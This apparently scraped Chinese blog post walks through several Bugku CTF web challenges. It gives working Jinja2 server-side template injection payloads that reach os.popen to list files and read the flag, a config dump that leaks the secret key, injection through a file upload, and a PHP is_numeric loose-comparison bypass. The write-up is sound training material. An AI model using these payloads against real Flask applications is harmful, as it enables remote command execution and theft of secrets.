Bugku解题 web (一)

Bugku解题 web

  • 1 Simple_SSTI_2
  • 2 Simple_SSTI_1
  • 3.Flask_FileUpload
  • 4.web1
  • 5.web2
  • 6.web3
  • 7.web4
  • 8.web5
  • 9. web6
  • 10. web7
  • 11.社工-初步收集

介绍:记录解题过程

1 Simple_SSTI_2

python模仿注入(SSTI)

  1. 通过以下语句拿到可用的类的列表
http://114.67.246.176:13299/?flag={
     {%22%22.__class__.__bases__[0].__subclasses__()}}

Bugku解题 web (一)_第1张图片

  1. 我们需要的是os命令执行类
    在这里插入图片描述

  2. 利用逗号定位
    Bugku解题 web (一)_第2张图片

  3. 我们可以先看一下我们索引的是否正确,输入url

/?flag={
     {
     "".__class__.__bases__[0].__subclasses__()[127]}}

Bugku解题 web (一)_第3张图片

  1. 构造语句,并执行ls命令(对方是Linux服务器,所以要使用Linux命令
/?flag={
     {
     "".__class__.__bases__[0].__subclasses__()[127].__init__.__globals__['popen']('ls').read()}}

在这里插入图片描述

Dockerfile app.py flag gunicorn.conf.py templates
  1. 读flag
/?flag={
     {
     "".__class__.__bases__[0].__subclasses__()[127].__init__.__globals__['popen']('cat flag').read()}}

在这里插入图片描述

flag{
     f325fff1f68aec4243a034f722d0833c}

2 Simple_SSTI_1

You need pass in a parameter named flag。

python模仿注入(SSTI)

  1. python模仿注入(SSTI)
    Bugku解题 web (一)_第4张图片
  2. 首页查看源码
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Simple SSTI</title>
</head>
<body>
You need pass in a parameter named flag。
<!-- You know, in the flask, We often set a secret_key variable.-->
</body>
</html>
你知道,在flask里,我们经常设置一个secret_key变量
  1. so我们要读secret_key变量,导出所有config变量,其中就包括SECRET_KEY
/?flag={
     {
     config.items()}}

Bugku解题 web (一)_第5张图片

flag{
     f7075118c1f7956690794e58eb0b2198}

3.Flask_FileUpload

描  述: Flask_FileUpload

<html>
<head>
  <title>File Uploadtitle>
head>
<body>
    <form action="/uploader" method="POST" enctype="multipart/form-data">
        <input type="file" name="file" accept=".jpg,.png" />
        <input type="submit" />
    form>

body>
html>
  1. 上传成功后
file uploaded successfully!<!--   File "/app/upload/simple.png", line 1
SyntaxError: Non-UTF-8 code starting with '\x89' in file /app/upload/simple.png on line 1, but no encoding declared; see http://python.org/dev/peps/pep-0263/ for details -->
  1. Method Not Allowed
    Bugku解题 web (一)_第6张图片
  2. 要在上传中实现注入
{
     {
     "".__class__.__bases__[0].__subclasses__()[127].__init__.__globals__['popen']('ls').read()}}

Bugku解题 web (一)_第7张图片
3. cd …/
Bugku解题 web (一)_第8张图片

  1. cd …/;cat flag
    Bugku解题 web (一)_第9张图片
flag{
     a1b5409b110f8658d4264f260807aefc}

4.web1

提  示: 官方交流群:222959472
描  述: flag{}

  1. 查看源码得的flag
<!--flag{
     5aa7724ad0937437e93acd880c88373c}
 -->

Bugku解题 web (一)_第10张图片

5.web2

描  述: 输入验证码即可得到flag

1 长度限制改为2
Bugku解题 web (一)_第11张图片

flag{
     49e5e23c0b45249426b1777ba3445a50}

6.web3

  1. 首页
    Bugku解题 web (一)_第12张图片

  2. 得的flag
    Bugku解题 web (一)_第13张图片

7.web4

描  述: post

  1. 首页
    Bugku解题 web (一)_第14张图片
  2. 得的flag
    Bugku解题 web (一)_第15张图片

8.web5

描  述: 矛盾

$num=$_GET['num'];
if(!is_numeric($num))
{
     
echo $num;
if($num==1)
echo 'flag{**********}';
}
  1. 数字后面加个非数字的即可
    Bugku解题 web (一)_第16张图片
flag{
     5fe31bef8632c6b6416516e77b9bb7c7}

9. web6

  1. ctrl+U查看源码,然后html解码
    Bugku解题 web (一)_第17张图片
    HtmlEncode编码/HtmlEncode解码 - 站长工具
flag{
     3bd205d63ad6e8e6232931745f400d41}

10. web7

描  述: 你必须让他停下

  1. burpSuite抓包查看
    Bugku解题 web (一)_第18张图片
flag{
     aeee925d31ebeb19d809d262b729cc1c}

11.社工-初步收集

描  述: 其实是杂项,勉强算社工吧。来自当年实战

  • List item

你可能感兴趣的:(Bugku解题 web (一))